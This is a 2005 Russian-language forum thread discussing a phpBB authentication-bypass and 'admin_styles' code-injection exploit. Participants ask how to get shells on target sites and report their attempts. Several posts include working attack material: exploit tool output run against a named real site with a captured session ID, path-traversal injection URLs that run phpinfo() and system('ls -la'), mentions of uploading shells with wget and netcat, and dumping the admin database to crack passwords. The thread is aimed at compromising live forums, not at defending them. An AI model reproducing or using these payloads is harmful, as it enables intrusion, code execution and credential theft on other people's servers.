Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Обсуждение статей (закрыто) » Обсуждение публикаций
Страницы: Пред. 1 ... 4 5 6 7 8 След.
RSS
phpBB User id Auth. Bypass and "admin_styles" Code Inject...
 
#101
Это нравится:0Да/0Нет
03.04.2005 06:51:14
Хелпер
Там пишут что мой ip блокирован я поставил прокси ..всеравно никак...
 
 
 
#102
Это нравится:0Да/0Нет
03.04.2005 16:53:36
Хелпер - клевая статья)))) [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG]
 
 
 
#103
Это нравится:0Да/0Нет
03.04.2005 22:27:54
как выполнить команды и как сделать шелл ?
вот этого только я не понял...
 
 
 
#104
Это нравится:0Да/0Нет
03.04.2005 22:41:04
так с cmd почти разобрался...
мдя...так шелл...хотя есть мысля
 
 
 
#105
Это нравится:0Да/0Нет
03.04.2005 23:55:25
Используем функцию wget
всё равботает...
всё думаю тема закрыта
 
 
 
#106
Это нравится:0Да/0Нет
04.04.2005 00:09:18
Как закрыта ? Кто нибуть шелл получить смог ?
 
 
 
#107
Это нравится:0Да/0Нет
06.04.2005 01:31:21
Да, я смог получить...тема закрыта...
тут мозгов почти и не надо что бы шелл залить
 
 
 
#108
Это нравится:0Да/0Нет
08.04.2005 23:01:13
блин... изза этого бага я познакомился с отделом К моего города еперь сижу с чужого винта и собираю бабло на фзятки....мляяяяяя
 
 
 
#109
Это нравится:0Да/0Нет
10.04.2005 17:32:31
Я так понял сплоит даёт хэш юзера с айди 1. Можно как-то сменить?
 
 
 
#110
Это нравится:0Да/0Нет
10.04.2005 17:48:01
Решил попробовать я этот сплоит.
Запустил:
C:\My Downloads\bbsh>bbsh http://www.xxx.ru/forum/ xx.xxx.xxx.xxx 8080
_ nom du cookie recuperer : phpbb2mysql
_ SESSION ID recuperщ ... 98e2313c846b33ee9d3d59b5b6fd0fcf
http://www.spekulant.ru/forum/?sid=98e2313c846b33ee9d3d59b5b 6fd0fcf
_ recuperation du nom de la table sql ... phpbb_ OK
_ Injection de la fake templates ...OK
_ Fichier crщe
_ Code executщ
http://www.spekulant.ru/forum/admin/admin_styles.php?mode=ad dnew&install_to=../.
./../../../../../../../../../../../../../../../../../tmp&nig ga=phpinfo();&sid=98
e2313c846b33ee9d3d59b5b6fd0fcf

C:\My Downloads\bbsh>

вот что выдало:

Вставил я  http://www.spekulant.ru/forum/admin/admin_styles.php?mode=ad dnew&install_to=../.
./../../../../../../../../../../../../../../../../../tmp&nig ga=phpinfo();&sid=98
e2313c846b33ee9d3d59b5b6fd0fcf
в адресную строку своего firefox, перед этим удалил почистил у себя кукисы.
Только вот в админку я не попал, вылазиет страница входа, где предлагает ввести логин и пароль....
Вообщем подскажите что делать......:)
 
 
 
#111
Это нравится:0Да/0Нет
10.04.2005 21:58:17
Великолепный сплоит. Единственное я шелл не выбил.
 
 
 
#112
Это нравится:0Да/0Нет
11.04.2005 09:20:11
люди выложьте экзешный сплоит куданить а то ссылка уже не работает
 
 
 
#113
Это нравится:0Да/0Нет
11.04.2005 11:02:52
Ага, гн одна ссылка не пашет,киньте рабочую!!!
 
 
 
#114
Это нравится:0Да/0Нет
12.04.2005 00:46:41
Цитата
Step пишет:
Получаешь админку, выкачиваешь базу, выбираешь пароли, открываешь их, и имеешь пароли реальных админов... и уже никакие обновления не  спасут [IMG]http://www.securitylab.ru/forum/smileys/smiley29.gif[/IMG]
Чем расшифровать пароли из phpbb_db_backup.
 
 
 
#115
Это нравится:0Да/0Нет
12.04.2005 00:48:32
Цитата
Гость пишет:
Как закрыта ? Кто нибуть шелл получить смог ?
КАК,?
 
 
 
#116
Это нравится:0Да/0Нет
12.04.2005 00:51:35
Цитата
][лам пишет:
получал...
http://www.*.ru/phpBB2/admin/admin_styles.php?mode=addnew&in stall_to=../../../.
./../../../../../../../../../../../../../../../tmp&nigga=sys tem(fuck);&fuck=ls -la&sid=***
вот это пишет Parse error: parse error, unexpected T_STRING in /tmp/theme_info.cfg(8) : eval()d code on line 1
 
 
 
#117
Это нравится:0Да/0Нет
12.04.2005 00:52:41
Может кто нибудь разъяснить как сделать шелл,
заранее благодарен
 
 
 
#118
Это нравится:0Да/0Нет
13.04.2005 07:30:25
where a new link for a nc4hk.swf plsssss ????
 
 
 
#119
Это нравится:0Да/0Нет
15.04.2005 10:41:17
дайте ссылку плиз.
 
 
 
#120
Это нравится:0Да/0Нет
17.04.2005 10:41:57
nc4hk.swf  is netcat for linux you can replace it ...
(bulgaria:)
 
 
 
Страницы: Пред. 1 ... 4 5 6 7 8 След.
Читают тему